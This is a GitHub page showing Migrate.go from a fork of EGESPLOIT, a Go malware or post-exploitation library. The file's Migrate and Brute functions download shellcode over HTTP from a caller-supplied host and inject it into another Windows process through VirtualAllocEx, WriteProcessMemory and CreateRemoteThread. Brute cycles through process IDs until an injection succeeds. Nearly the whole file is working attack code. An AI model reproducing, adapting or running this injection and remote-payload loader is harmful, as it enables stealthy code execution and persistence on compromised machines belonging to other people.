forked from EgeBalci/EGESPLOIT
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Migrate.go
98 lines (73 loc) · 2.81 KB
/
Migrate.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package EGESPLOIT
import "unsafe"
import "net/http"
import "io/ioutil"
import "strconv"
func Migrate(Pid string, Address string) (bool, string){
if Pid == "Brute" || Pid == "brute" || Pid == "BRUTE" {
Status := Brute(Address)
if Status == false {
return false, "[!] Brute Migration Failed"
}
}
Checksum := CalculateChecksum(10)
Address += "/"
Address += Checksum
Address = ("http://" + Address)
Response, err := http.Get(Address)
if err != nil {
return false, "[!] ERROR : Connection Attempt Failed."
}
Shellcode, _ := ioutil.ReadAll(Response.Body)
L_Addr, _, _ := VirtualAlloc.Call(0, uintptr(len(Shellcode)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)
L_AddrPtr := (*[990000]byte)(unsafe.Pointer(L_Addr))
for i := 0; i < len(Shellcode); i++ {
L_AddrPtr[i] = Shellcode[i]
}
PID, _ := strconv.Atoi(Pid)
var F int = 0
Proc, _, _ := OpenProcess.Call(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, uintptr(F), uintptr(PID))
if Proc == 0 {
return false, "[!] ERROR : Can't Open Remote Process."
}
R_Addr, _, _ := VirtualAllocEx.Call(Proc, uintptr(F), uintptr(len(Shellcode)), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)
if R_Addr == 0 {
return false, "[!] ERROR : Can't Allocate Memory On Remote Process."
}
WPMS, _, _ := WriteProcessMemory.Call(Proc, R_Addr, L_Addr, uintptr(len(Shellcode)), uintptr(F))
if WPMS == 0 {
return false, "[!] ERROR : Can't Write To Remote Process."
}
CRTS, _, _ := CreateRemoteThread.Call(Proc, uintptr(F), 0, R_Addr, uintptr(F), 0, uintptr(F))
if CRTS == 0 {
return false, "[!] ERROR : Can't Create Remote Thread."
}
return true, ""
}
func Brute(Address string) (bool){
Checksum := CalculateChecksum(10)
Address += "/"
Address += Checksum
Address = ("http://" + Address)
Response, err := http.Get(Address)
if err != nil {
return false
}
Shellcode, _ := ioutil.ReadAll(Response.Body)
L_Addr, _, _ := VirtualAlloc.Call(0, uintptr(len(Shellcode)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)
L_AddrPtr := (*[990000]byte)(unsafe.Pointer(L_Addr))
for i := 0; i < len(Shellcode); i++ {
L_AddrPtr[i] = Shellcode[i]
}
for i := 100; i < 99999; i++ {
var F int = 0
Proc, _, _ := OpenProcess.Call(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, uintptr(F), uintptr(i))
R_Addr, _, _ := VirtualAllocEx.Call(Proc, uintptr(F), uintptr(len(Shellcode)), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)
WriteProcessMemory.Call(Proc, R_Addr, L_Addr, uintptr(len(Shellcode)), uintptr(F))
Status, _, _ := CreateRemoteThread.Call(Proc, uintptr(F), 0, R_Addr, uintptr(F), 0, uintptr(F))
if Status != 0 {
break
}
}
return true
}